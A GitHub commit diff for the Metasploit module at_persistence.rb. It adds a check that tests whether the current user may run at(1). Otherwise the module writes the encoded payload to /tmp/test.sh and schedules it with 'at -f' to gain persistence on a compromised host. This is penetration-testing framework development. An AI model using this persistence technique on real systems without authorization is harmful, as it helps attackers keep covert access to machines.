Skip to content

Commit 972db47

Browse files
committed
Implement check for at_persistence
1 parent c69d65c commit 972db47

File tree

1 file changed

+11
-3
lines changed

1 file changed

+11
-3
lines changed

modules/exploits/multi/local/at_persistence.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,14 +47,22 @@ def initialize(info = {})
4747
)
4848
end
4949

50-
# TODO: find a better way to determine if the user can use at(1). cmd_exec doesn't get us stderr or a return code
5150
def check
52-
cmd_exec("ls -l")
51+
token = "fail #{Rex::Text.rand_text_alphanumeric(8)}"
52+
if cmd_exec("at -l || echo #{token}") =~ /#{token}/
53+
Exploit::CheckCode::Safe
54+
else
55+
Exploit::CheckCode::Vulnerable
56+
end
5357
end
5458

5559
def exploit
60+
unless check == Exploit::CheckCode::Vulnerable
61+
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
62+
end
63+
5664
write_file("/tmp/test.sh", payload.encoded)
57-
print_status(cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}"))
65+
cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}")
5866
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
5967
Rex.sleep(datastore['WfsDelay'].to_i)
6068
end

0 commit comments

Comments
 (0)